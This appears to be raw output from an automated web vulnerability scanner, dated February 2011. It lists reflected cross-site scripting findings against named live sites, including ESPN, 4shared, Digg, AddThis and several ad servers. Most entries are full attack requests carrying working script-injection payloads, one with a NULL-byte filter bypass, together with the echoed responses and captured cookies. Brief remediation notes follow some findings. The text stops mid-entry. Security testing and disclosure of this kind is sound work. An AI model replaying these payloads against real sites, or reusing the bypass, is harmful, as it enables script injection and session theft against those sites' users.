GET /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All8a923"><script>alert(1)</script>f5c014234ec/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set
Response
HTTP/1.1 200 OK Date: Wed, 23 Feb 2011 21:38:38 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 396 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e2445525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6db6d"><script>alert(1)</script>442dc3bf57f was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/12cd8346d-f045-42c9-88fc-dcc60b1aceb1@x906db6d"><script>alert(1)</script>442dc3bf57f HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set
Response
HTTP/1.1 200 OK Date: Wed, 23 Feb 2011 21:38:40 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 388 Content-Type: text/html Set-Cookie: NSC_o4efm_qppm_iuuq=ffffffff09499e6f45525d5f4f58455e445a4a423660;path=/
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 90e08"><script>alert(1)</script>3abd5a56497 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/ZapTrader90e08"><script>alert(1)</script>3abd5a56497/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-9046165571664830&format=300x250_as&output=html&h=250&w=300&lmt=1298518211&channel=6075235820&ad_type=text_image&color_bg=FFFFFF&color_border=CCCCCC&color_link=085192&color_text=FFFFFF&color_url=085192&flash=10.2.154&url=http%3A%2F%2Fwww.komonews.com%2F&dt=1298497084466&shv=r20101117&jsv=r20110208&saldr=1&correlator=1298497083221&frm=0&adk=3789798029&ga_vid=758392942.1298497003&ga_sid=1298497003&ga_hid=1880891390&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=768&u_w=1364&u_ah=724&u_aw=1364&u_cd=16&u_nplug=9&u_nmime=44&biw=1210&bih=642&fu=0&ifi=2&dtd=112&xpc=8M0zeeSKPz&p=http%3A//www.komonews.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set; NSC_o4efm_qppm_iuuq=ffffffff09499e6e45525d5f4f58455e445a4a423660; ATTWired=ZapTrader
Response
HTTP/1.1 200 OK Date: Wed, 23 Feb 2011 21:38:36 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 396 Content-Type: text/html
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c89d7"><script>alert(1)</script>b488108a356 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/ZapTrader/ATTc89d7"><script>alert(1)</script>b488108a356/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-9046165571664830&format=300x250_as&output=html&h=250&w=300&lmt=1298518211&channel=6075235820&ad_type=text_image&color_bg=FFFFFF&color_border=CCCCCC&color_link=085192&color_text=FFFFFF&color_url=085192&flash=10.2.154&url=http%3A%2F%2Fwww.komonews.com%2F&dt=1298497084466&shv=r20101117&jsv=r20110208&saldr=1&correlator=1298497083221&frm=0&adk=3789798029&ga_vid=758392942.1298497003&ga_sid=1298497003&ga_hid=1880891390&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=768&u_w=1364&u_ah=724&u_aw=1364&u_cd=16&u_nplug=9&u_nmime=44&biw=1210&bih=642&fu=0&ifi=2&dtd=112&xpc=8M0zeeSKPz&p=http%3A//www.komonews.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set; NSC_o4efm_qppm_iuuq=ffffffff09499e6e45525d5f4f58455e445a4a423660; ATTWired=ZapTrader
Response
HTTP/1.1 200 OK Date: Wed, 23 Feb 2011 21:38:38 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 396 Content-Type: text/html
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 97a9a"><script>alert(1)</script>244d439e350 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/ZapTrader/ATT/Wired97a9a"><script>alert(1)</script>244d439e350/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-9046165571664830&format=300x250_as&output=html&h=250&w=300&lmt=1298518211&channel=6075235820&ad_type=text_image&color_bg=FFFFFF&color_border=CCCCCC&color_link=085192&color_text=FFFFFF&color_url=085192&flash=10.2.154&url=http%3A%2F%2Fwww.komonews.com%2F&dt=1298497084466&shv=r20101117&jsv=r20110208&saldr=1&correlator=1298497083221&frm=0&adk=3789798029&ga_vid=758392942.1298497003&ga_sid=1298497003&ga_hid=1880891390&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=768&u_w=1364&u_ah=724&u_aw=1364&u_cd=16&u_nplug=9&u_nmime=44&biw=1210&bih=642&fu=0&ifi=2&dtd=112&xpc=8M0zeeSKPz&p=http%3A//www.komonews.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set; NSC_o4efm_qppm_iuuq=ffffffff09499e6e45525d5f4f58455e445a4a423660; ATTWired=ZapTrader
Response
HTTP/1.1 200 OK Date: Wed, 23 Feb 2011 21:38:40 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 395 Content-Type: text/html
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 314f5"><script>alert(1)</script>c812b72dfc2 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/ZapTrader/ATT/Wired/Pros-UVerseOpt314f5"><script>alert(1)</script>c812b72dfc2/All/1b5458553-7549-414b-83d2-2100a7556d38@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-9046165571664830&format=300x250_as&output=html&h=250&w=300&lmt=1298518211&channel=6075235820&ad_type=text_image&color_bg=FFFFFF&color_border=CCCCCC&color_link=085192&color_text=FFFFFF&color_url=085192&flash=10.2.154&url=http%3A%2F%2Fwww.komonews.com%2F&dt=1298497084466&shv=r20101117&jsv=r20110208&saldr=1&correlator=1298497083221&frm=0&adk=3789798029&ga_vid=758392942.1298497003&ga_sid=1298497003&ga_hid=1880891390&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=768&u_w=1364&u_ah=724&u_aw=1364&u_cd=16&u_nplug=9&u_nmime=44&biw=1210&bih=642&fu=0&ifi=2&dtd=112&xpc=8M0zeeSKPz&p=http%3A//www.komonews.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set; NSC_o4efm_qppm_iuuq=ffffffff09499e6e45525d5f4f58455e445a4a423660; ATTWired=ZapTrader
Response
HTTP/1.1 200 OK Date: Wed, 23 Feb 2011 21:38:42 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 395 Content-Type: text/html
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c314"><script>alert(1)</script>d3932d3a3a7 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All6c314"><script>alert(1)</script>d3932d3a3a7/1b5458553-7549-414b-83d2-2100a7556d38@x90 HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-9046165571664830&format=300x250_as&output=html&h=250&w=300&lmt=1298518211&channel=6075235820&ad_type=text_image&color_bg=FFFFFF&color_border=CCCCCC&color_link=085192&color_text=FFFFFF&color_url=085192&flash=10.2.154&url=http%3A%2F%2Fwww.komonews.com%2F&dt=1298497084466&shv=r20101117&jsv=r20110208&saldr=1&correlator=1298497083221&frm=0&adk=3789798029&ga_vid=758392942.1298497003&ga_sid=1298497003&ga_hid=1880891390&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=768&u_w=1364&u_ah=724&u_aw=1364&u_cd=16&u_nplug=9&u_nmime=44&biw=1210&bih=642&fu=0&ifi=2&dtd=112&xpc=8M0zeeSKPz&p=http%3A//www.komonews.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set; NSC_o4efm_qppm_iuuq=ffffffff09499e6e45525d5f4f58455e445a4a423660; ATTWired=ZapTrader
Response
HTTP/1.1 200 OK Date: Wed, 23 Feb 2011 21:38:44 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 395 Content-Type: text/html
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ebaa7"><script>alert(1)</script>878d79ae95a was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /2/ZapTrader/ATT/Wired/Pros-UVerseOpt/All/1b5458553-7549-414b-83d2-2100a7556d38@x90ebaa7"><script>alert(1)</script>878d79ae95a HTTP/1.1 Host: b3.mookie1.com Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-9046165571664830&format=300x250_as&output=html&h=250&w=300&lmt=1298518211&channel=6075235820&ad_type=text_image&color_bg=FFFFFF&color_border=CCCCCC&color_link=085192&color_text=FFFFFF&color_url=085192&flash=10.2.154&url=http%3A%2F%2Fwww.komonews.com%2F&dt=1298497084466&shv=r20101117&jsv=r20110208&saldr=1&correlator=1298497083221&frm=0&adk=3789798029&ga_vid=758392942.1298497003&ga_sid=1298497003&ga_hid=1880891390&ga_fc=1&u_tz=-360&u_his=1&u_java=1&u_h=768&u_w=1364&u_ah=724&u_aw=1364&u_cd=16&u_nplug=9&u_nmime=44&biw=1210&bih=642&fu=0&ifi=2&dtd=112&xpc=8M0zeeSKPz&p=http%3A//www.komonews.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: OAX=rcHW801b0RcADNFE; RMFM=011PphRBU10Dzy; ATTW=TrafficMarketplaceB3; other_20110126=set; id=3375925924; dlx_XXX=set; NSC_o4efm_qppm_iuuq=ffffffff09499e6e45525d5f4f58455e445a4a423660; ATTWired=ZapTrader
Response
HTTP/1.1 200 OK Date: Wed, 23 Feb 2011 21:38:47 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 387 Content-Type: text/html
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 4d851<script>alert(1)</script>bb63329db8 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /espn3/auth/espnnetworks/user?callback=jsonp12984973704964d851<script>alert(1)</script>bb63329db8 HTTP/1.1 Host: broadband.espn.go.com Proxy-Connection: keep-alive Referer: http://espn.go.com/new-york/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; userAB=F
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b49ee"-alert(1)-"5c431f0ee83 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mainb49ee"-alert(1)-"5c431f0ee83/upload.jsp HTTP/1.1 Host: dc305.4shared.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 /mainb49ee"-alert(1)-"5c431f0ee83/upload.jsp Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Thu, 24 Feb 2011 19:45:53 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://dc305.4shared.com/mainb49ee"-alert(1)-"5c431f0ee83/upload.jsp"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() {
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a85e5"-alert(1)-"9824e0eb5f7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /main/upload.jspa85e5"-alert(1)-"9824e0eb5f7 HTTP/1.1 Host: dc305.4shared.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 /main/upload.jspa85e5"-alert(1)-"9824e0eb5f7 Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Thu, 24 Feb 2011 19:46:01 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://dc305.4shared.com/main/upload.jspa85e5"-alert(1)-"9824e0eb5f7"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 46541"-alert(1)-"704b9402c2d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /main46541"-alert(1)-"704b9402c2d/upload.jsp HTTP/1.1 Host: dc308.4shared.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 /main46541"-alert(1)-"704b9402c2d/upload.jsp Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Wed, 23 Feb 2011 23:12:45 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://dc308.4shared.com/main46541"-alert(1)-"704b9402c2d/upload.jsp"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() {
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a7371"-alert(1)-"109e745b72 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /main/upload.jspa7371"-alert(1)-"109e745b72 HTTP/1.1 Host: dc308.4shared.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 /main/upload.jspa7371"-alert(1)-"109e745b72 Server: Apache-Coyote/1.1 Content-Type: text/html;charset=UTF-8 Date: Wed, 23 Feb 2011 23:12:54 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <!--// ref:null--> <title>4shared.co ...[SNIP]... <script type="text/javascript"> function reportAbuse() { var windowname="abuse"; var url="/abuse.jsp?aLink=http://dc308.4shared.com/main/upload.jspa7371"-alert(1)-"109e745b72"; OpenWindow = window.open(url,windowname,'toolbar=no,scrollbars=yes,resizable=yes,width=550,height=650,left=50,top=50'); OpenWindow.focus(); } function feedback() { var wind ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00e8cb0"><script>alert(1)</script>eee6eb58e9b was submitted in the REST URL parameter 1. This input was echoed as e8cb0"><script>alert(1)</script>eee6eb58e9b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /submit%00e8cb0"><script>alert(1)</script>eee6eb58e9b HTTP/1.1 Host: digg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload e5ae4<script>alert(1)</script>e6a6ac44971 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /red/psi/sites/www.manta.com/p.json?callback=_ate.ad.hpre5ae4<script>alert(1)</script>e6a6ac44971&uid=4d5af32c71c2e1a5&url=http%3A%2F%2Fwww.manta.com%2Fc%2Fmtl07lp%2Findustrial-waste-recovery-llc&w1bilb HTTP/1.1 Host: ds.addthis.com Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh32.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTg4NzIwVg%3d%3d; dt=X; di=%7B%222%22%3A%223375925924%2CrcHW801b0RcADNFE%22%7D..1298426248.60|1297806627.66; psc=4; uid=4d5af32c71c2e1a5
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 314 Content-Type: text/javascript Set-Cookie: bt=; Domain=.addthis.com; Expires=Sat, 26 Feb 2011 00:20:52 GMT; Path=/ Set-Cookie: dt=X; Domain=.addthis.com; Expires=Mon, 28 Mar 2011 00:20:52 GMT; Path=/ Set-Cookie: di=%7B%222%22%3A%223375925924%2CrcHW801b0RcADNFE%22%7D..1298679652.60|1297806627.66; Domain=.addthis.com; Expires=Sun, 24-Feb-2013 18:22:57 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA" Expires: Sat, 26 Feb 2011 00:20:52 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 26 Feb 2011 00:20:52 GMT Connection: close
The value of REST URL parameter 10 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload acc29'%3b0ddd73bd74d was submitted in the REST URL parameter 10. This input was echoed as acc29';0ddd73bd74d in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /cgi/k/20120772/1536/0/0/203635133/203635133//0/203acc29'%3b0ddd73bd74d/8598//1/i.js HTTP/1.1 Host: e1.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://e1.cdn.qnsr.com/cgi/d/1537/0/203/635133/549914/i0.html?;y=http%3A//blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html;s=8598;d=camp20985953~camp20993046::ch203687986ad20142038~ch203687989ad20141534~ch203687989ad20143682~ch203687989ad20140829~ch203687987ad20145841~ch203687989ad20143853~ch203687984ad20132865~ch203687988ad20138856;z=3795111825 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Vary: Accept-Encoding Cache-Control: max-age=2591996 Expires: Mon, 28 Mar 2011 01:49:45 GMT Date: Sat, 26 Feb 2011 01:49:49 GMT Connection: close Content-Length: 743
var zz_trd = ""; var zz_param = ""; var zz_ref = "";
The value of REST URL parameter 11 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 88920'%3b539f91e0bd9 was submitted in the REST URL parameter 11. This input was echoed as 88920';539f91e0bd9 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
